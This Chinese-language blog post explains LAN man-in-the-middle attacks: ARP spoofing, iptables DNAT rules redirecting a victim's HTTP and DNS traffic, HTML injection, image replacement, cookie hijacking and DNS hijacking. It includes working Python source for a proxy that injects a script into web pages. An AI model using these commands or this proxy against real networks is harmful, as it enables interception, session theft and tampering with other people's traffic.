局域網下的html注入及DNS劫持


之前研究Dsploit的部分功能實現原理,現在了解的差不多了,簡要記錄下Dsploit的斷網攻擊,html注入,圖片替換,cookie劫持的原理。本篇blog需要有一定的網絡知識基礎在看。

假設現有三台主機,A代表網關,B代表攻擊者,C代表受害者。A,B,C的ip分別為192.168.1.1       192.168.1.2       192.168.1.3

B使用Nmap掃描當前網段下的主機,發現了網關A,聯網主機C。

斷網原理:B如果想讓C斷網,只需要用arpspoof不斷發arp reply包將自己偽裝為網關A,即發送的arp reply包中ip為網關的ip192.168.1.1,但是arp reply中的mac卻是自己的,這樣C主機會將數據發送給攻擊者B,如果攻擊者B沒有設置ip轉發,那么主機C就會斷網。

html注入,圖片替換,cookie劫持原理:

在上述的斷網原理下,如果攻擊者B開啟了ip轉發功能,用iptables工具輸入 iptables -t nat -s 192.168.1.3 -p tcp --dport 80 -j DNAT --to 192.168.1.2:8080

將主機C發送的目的端口是80的tcp報文轉發到本機監聽的端口8080上(注:這里8080只是舉例用,不一定非要8080,只要是http代理監聽的端口就行

然后主機B在本機上運行http代理程序,http代理根據主機C發的http頭可知主機C要連接的網站是哪個網站,根據網址將http請求轉發,再將網站的響應轉發給主機C,這樣主機C還不知道自己的數據已經被竊聽到了。

html注入發生在攻擊者B將網站的響應轉發給主機C的過程中,若http代理發現該響應可以注入html代碼,就將html代碼注入到響應后,再將注入后的響應發送給主機C,cookie劫持,圖片替換發生在攻擊者B轉發主機C的http請求時,http代理將主機C發送的http請求中的cookie記錄下來,就可利用主機C的cookie來進行登錄服務。若http代理發現http頭請求的文件類型為圖片,則直接轉發自己定義的圖片給主機C。

DNS劫持原理與html注入類似,iptables -t nat -p udp --dport 53 -j DNAT --to 192.168.1.2:3000將DNS請求轉發給本機的DNS代理,根據DNS報文的內容決定要不要偽造DNS響應。

下面給一個簡單的http代理程序源碼,本http代理會在響應中注入<script>alert("you have been hacked.")</script>

#!/
# coding = utf-8
import socket
import threading
import re





class HttpHeaderParser(object):
     def __init__(self, arg):
         super(HttpHeaderParser, self).__init__()
         self.arg = arg
         self._parse();
     def _parse(self):
         try:
             #print 'raw data:\n' + self.arg;
             data = self.arg[self.arg.find('\r'):self.arg.find('\n\r\n')]
             self.name = re.findall('\n(.*?):',data);
             self.value = re.findall(':(.*?)\r',data);
             self.body = self.arg[self.arg.find('\r\n\r\n') + 4:];
             self.status = self.arg[0:self.arg.find('\r\n')];
             for i in range(0,len(self.value)):
                 self.value[i] = self.value[i].lstrip();#過濾不必要的空格
             self._getHostAddr();
         except:
             print 'error';
         #print self.arg;
     def getAttribute(self,name):
         if name in self.name:
             return self.value[self.name.index(name)];
         return None;
     def setAttribute(self,name,value):
         if name in self.name:
             self.value[self.name.index(name)] = value;
             return ;
         self.name.append(name);
         self.value.append(value);

     def _getHostAddr(self):
         self.host = self.getAttribute('Host');
         self.port = 80;
         if ':' in self.host:
             tmp = self.host;
             self.host = tmp[0:tmp.find(':')];
             self.host = socket.gethostbyname(self.host);
             self.port = int(tmp[tmp.find(':') + 1:])
     def getAddr(self):
         return (self.host,self.port);


     def buildHeader(self):
         tmp = self.status + '\r\n';
         for i in range(0,len(self.name)):
             tmp = tmp + self.name[i] + ':' + self.value[i] + '\r\n';
         tmp = tmp + '\r\n' + self.body;
         #print 'build:\n' + tmp;
         return tmp;







def proc(client):
    data = client.recv(2048);
    #print data;
    if data:
        parser = HttpHeaderParser(data);
        addr = parser.getAddr();
        if addr[0] == '192.168.155.1':
            addr = (socket.gethostbyname('123.207.127.183'),80);
            parser.setAttribute('Host','123.207.127.183')
        parser.setAttribute('Accept-Encoding','');
        head = parser.buildHeader();
        sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        sock.connect(addr);
        sock.sendall(head);
        html = sock.recv(2048);
        while html:
            html = html.replace('<body>','<body><script>alert(\"you have been hacked.\")</script>');
            print html;
            client.sendall(html);
            html = sock.recv(1024);
        sock.close();

    client.close();



def main():
    addr = ('0.0.0.0',3000);
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
    sock.bind(addr);
    sock.listen(80);
    b = True;
    while b:
        client,clientaddr = sock.accept();
        t = threading.Thread(target = proc,args =(client,));
        t.start();
        #t.join();
    sock.close();
    print 'finish!!!';


if __name__ == '__main__':
    main()

 在本機設置為http代理運行之后,打開網頁

會先出現

然后才是網站的真正響應。

ps:如有錯誤,歡迎指正。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM